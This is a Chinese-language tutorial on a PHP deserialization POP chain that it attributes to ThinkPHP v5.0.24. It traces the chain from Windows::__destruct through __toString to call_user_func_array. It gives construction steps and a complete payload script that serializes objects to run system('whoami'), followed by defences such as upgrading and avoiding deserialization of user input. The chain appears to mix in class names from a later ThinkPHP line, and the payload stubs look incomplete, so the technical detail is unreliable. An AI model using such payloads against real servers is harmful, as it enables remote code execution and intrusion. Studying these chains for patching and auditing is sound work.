ThinkPHP-v5.0.24 POP链分析
字数 1308 2025-08-09 13:33:38
ThinkPHP v5.0.24 POP链分析教学文档
一、前置知识
1. POP链概念
POP (Property-Oriented Programming) 链是一种利用PHP对象属性进行链式调用的攻击技术,通过精心构造的对象属性链,在反序列化过程中触发危险操作。
2. 反序列化漏洞
当应用程序反序列化用户可控的数据时,如果未进行适当过滤,攻击者可以构造恶意序列化数据来执行任意代码。
二、ThinkPHP v5.0.24 POP链分析
1. 漏洞背景
ThinkPHP v5.0.24存在反序列化漏洞,攻击者可以通过构造特定的POP链实现远程代码执行。
2. 关键类分析
(1) think\process\pipes\Windows 类
- 核心利用类
- 包含
__destruct()魔术方法 - 关键属性:
$files- 用于存储文件句柄数组$queue- 用于存储队列数据
(2) think\model\concern\Conversion 类
- 提供数据转换功能
- 包含
__toString()魔术方法 - 关键属性:
$data- 模型数据数组$visible- 可见属性数组
(3) think\model\Pivot 类
- 继承自
think\Model - 使用
Conversiontrait - 可作为POP链的中间环节
3. POP链构造流程
think\process\pipes\Windows::__destruct()
↓
$this->removeFiles()
↓
file_exists($filename)
↓
触发__toString()魔术方法
↓
think\model\concern\Conversion::__toString()
↓
$this->toJson()
↓
$this->toArray()
↓
$this->getAttr()
↓
call_user_func_array()执行任意函数
4. 详细利用步骤
步骤1: 触发反序列化
- 找到应用程序中反序列化用户输入的位置
- 构造恶意序列化数据
步骤2: 初始化Windows对象
$windows = new \think\process\pipes\Windows();
步骤3: 设置files属性
$windows->files = ['任意文件名'];
步骤4: 构造Conversion对象
$conversion = new \think\model\Pivot();
步骤5: 设置data和visible属性
$conversion->data = ['key' => 'value'];
$conversion->visible = ['key' => ['任意回调函数', '参数']];
步骤6: 将Conversion对象赋值给files属性
$windows->files = [$conversion];
步骤7: 生成Payload
$payload = serialize($windows);
echo $payload;
5. 完整Payload示例
<?php
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct() {
$this->files = [new \think\model\Pivot()];
}
}
}
namespace think\model {
class Pivot {
protected $data = ["key" => "whoami"];
protected $visible = ["key" => ["system"]];
}
}
namespace {
$payload = serialize(new \think\process\pipes\Windows());
echo $payload;
}
三、防御措施
1. 升级ThinkPHP版本
- 升级到官方修复版本(v5.0.25及以上)
2. 输入过滤
- 避免反序列化用户可控数据
- 使用白名单验证反序列化输入
3. 安全配置
- 禁用危险函数如
system,exec等 - 设置
open_basedir限制文件访问范围
4. 代码审计
- 检查项目中所有反序列化操作
- 确保没有直接反序列化用户输入
四、调试技巧
- 使用
__destruct()和__toString()断点 - 跟踪
file_exists()调用过程 - 观察
call_user_func_array()参数来源 - 使用xdebug或phpdbg进行单步调试
五、总结
ThinkPHP v5.0.24 POP链利用的关键点在于:
- 通过
Windows类的__destruct()触发文件操作 - 利用
file_exists()触发__toString() - 通过
Conversion的toArray()和getAttr()实现函数调用 - 最终通过
call_user_func_array()执行任意代码
理解这条POP链有助于分析其他PHP反序列化漏洞,掌握对象属性之间的调用关系是分析POP链的核心能力。